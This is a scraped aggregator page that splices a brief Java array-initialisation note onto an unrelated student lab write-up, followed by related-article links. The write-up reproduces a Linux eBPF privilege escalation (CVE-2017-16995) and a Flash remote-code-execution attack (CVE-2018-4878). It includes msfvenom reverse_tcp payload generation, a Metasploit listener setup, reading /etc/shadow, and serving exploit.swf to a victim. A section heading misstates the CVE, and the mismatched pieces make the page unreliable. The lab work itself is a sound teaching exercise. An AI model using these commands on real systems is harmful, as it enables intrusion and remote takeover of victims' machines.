Day05-内存分析

Posted 文姬公主

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Day05-内存分析相关的知识,希望对你有一定的参考价值。

内存分析

三种初始化

  1. 静态初始化

int[] a=1,2,3,4; 
Man[] mans=new Man(1,2),new Man(2,3);
 
  1. 动态初始化

int[] a=new int[2];
a[0]=1;
a[1]=2;
  1. 数组的默认初始化

  • 数组是引用类型,它的元素相当于类的实例变量,因此数组一经分配空间,其中的每个元素也被按照实例变量同样的方法被隐式初始化

20155306 白皎 0day漏洞——漏洞的分析与复现

一、Ubuntu16.04 (CVE-2017-16995)

1.漏洞概述

Ubuntu最新版本16.04存在本地提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。

攻击者(普通用户)可以利用该漏洞进行提权攻击,获取root权限,危害极大。该漏洞编号是CVE-2017-16995,在之前的一些老版本已经修复了,但是在最新的Ubuntu版本中,又出现了这个漏洞,并且Twitter爆出了漏洞利用代码。

目前,主要是Debian和Ubuntu版本受影响,Redhat和CentOS不受影响。

影响版本:
Linux内核:Linux Kernel Version 4.14 ~ 4.4

Ubuntu版本:16.04.01~ 16.04.04

2.漏洞复现

step1:漏洞复现环境下载

技术分享图片

  • 使用账号密码(pinginglab/pinginglab)登录虚拟机
    ,使用 id 查看本地用户组权限:

技术分享图片

  • 使用cat /proc/version查看Linux内核版本
  • 使用cat /etc/shadow查看账号密码(由于是普通账号,没有权限查看)
    技术分享图片

  • 下载POC代码
    技术分享图片

使用gcc对upstream44.c进行编译,给予执行权限: 【若没有编译器,使用sudo apt install gcc 下载并安装gcc编译器】

  • 下面编译并且赋予权限
gcc -o test upstream44.c 
chmod +x test 
ll 

技术分享图片

  • 可以看到编译成功后的文件:
    技术分享图片

  • 执行test文件,发生了错误:

技术分享图片

  • 经过分析和查阅资料,发现可能是我电脑的内核不对?但是我的内核是在范围内的呀。那我只好换个内核一试了!

  • 查看目前内核版本uname -r

技术分享图片

  • 下载自己想要的版本,我下载的是
    :4.4.0-81-generic,sudo apt-get install linux-headers-4.4.0-81-generic linux-image-4.4.0-81-generic
    技术分享图片

可以看到内核更换成功啦!

  • 重新利用gcc进行编译,并且查看,没有问题,一切正常~
    技术分享图片

  • 运行编译的文件,可以看到提权成功!此时用户从“baijiao”,切换到“root”,获取到最高权限,并且可以查看本地账号密码。

技术分享图片

二、Ubuntu16.04 (CVE-2017-16995)

1.漏洞分析

  • 概述
    在2018年2月1号,Adobe官方发布安全通报(APSA18-01),声明Adobe Flash 28.0.0.137及其之前的版本,存在高危漏洞(CVE-2018-4878)。使用者通过构造特殊的Flash链接,当用户用浏览器/邮件/Office访问此Flash链接时,会被“远程代码执行”,并且直接被getshell。直到2018年2月5号,Adboe才发布补丁来修复此0 day漏洞。

2.复现步骤

-实验环境

攻击机:Kali Linux (ip:192.168.145.137)

靶机:Windows 7 (ip:192.168.145.138)

exp:cve-2018-4878.py

flash:flashplayer_activex_28.0.0.137.exe

  • 实验流程

①将网上找的代码CVE-2018-4878-master目录下载下来,并放入Kali Linux桌面,并查询本机ip。

技术分享图片

技术分享图片

②使用msfvenom生成shell代码

生成代码,其中lhost为kali的ip地址,lport为自定义的端口号msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.145.137 lport=5306 -f python>shellcode.txt

技术分享图片

查看代码文件 cat shellcode.txt

技术分享图片

③进入CVE-2018-4878-master目录,编辑CVE-2018-4878.py文件,将上面msfvenom生成的代码覆盖掉原来的代码:

技术分享图片

修改CVE-2018-4878.py下面的文件信息,把swf和html的文件路径改为自己的相应的文件路径,之后保存修改退出:

技术分享图片

④Kali Linux进入CVE-2018-4878-master路径,用Python执行CVE-2018-4878-master.py代码
[email protected]:~/Desktop/CVE-2018-4878-master# python cve-2018-4878.py
[email protected]:~/Desktop/CVE-2018-4878-master# ls -l

技术分享图片

⑤Kali Linux开启Apache2服务,并将上面的2个文件放入/var/www/html目录中(apache web路径)

[email protected]:~/Desktop/CVE-2018-4878-master# service apache2 start
[email protected]:~/Desktop/CVE-2018-4878-master# cp index2.html /var/www/html/index2.html
[email protected]:~/Desktop/CVE-2018-4878-master# cp exploit.swf /var/www/html/exploit.swf

技术分享图片

此时,Kali Linux上Web服务启动,并且具备index2.html这个页面。只要靶机启用flash并访问了这个页面,则可以直接被控制。

⑥Kali Linux开启Shell会话监听

使用handler监听模块 
msf > use exploit/multi/handler 
回弹一个tcp连接 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp 
设置kali***机的ip地址 
msf exploit(handler) > set lhost 192.168.145.137 
设置监听端口,这个需跟上面msfvenom设置的端口一致 
msf exploit(handler) > set lport 5306 
开启监听,等待肉鸡上线 
msf exploit(handler) > exploit

⑦Windows7 安装flash插件,并用IE浏览器访问页面

搜索flash最新的28版本 ,安装flash插件 。

技术分享图片

使用Win7内置IE 8浏览器访问页面:http://172.16.70.216/index2.html

技术分享图片

⑧Kali Linux 上获取meterpreter shell,并进行管理

技术分享图片

在实验过程中,最后需要在靶机浏览器打开index2.html ,但总是提示页面无法显示,最后发现是因为自己的攻击机和靶机不在同一网段,一个设置为NET模式,一个为桥接模式,最后把统一设置为NET模式,就攻击成功啦!

可以看到,最终由于Flash存在CVE-2018-4878这个高危漏洞,导致Windows靶机访问含flash的页面时,直接被Kali Linux控制。

做完这个实验,感觉在真实环境下,应该有很多基于此Flash漏洞,结合社会工程学,比如将网页链接放置在诱导邮件中,就可以欺骗欺骗大量用户点击,哇,真的是太可怕了。这也提醒我们平常要非常小心陌生链接要及时打安全补丁要不然一个不小心,就会导致电脑被劫持了。

以上是关于Day05-内存分析的主要内容,如果未能解决你的问题,请参考以下文章

JAVA Day11

Day704.Tomcat内存溢出的原因分析及调优 -深入拆解 Tomcat & Jetty

day06_05 字典

小丸子踏入python之路:python_day05(数据分析处理库Pandas)

爬虫老司机手把手教你如何分析用户数据|Python 数据分析打怪升级之路 day05:数据规范化这样做才规范数据可视化十大图表

爬虫老司机手把手教你如何分析用户数据|Python 数据分析打怪升级之路 day05:数据规范化这样做才规范数据可视化十大图表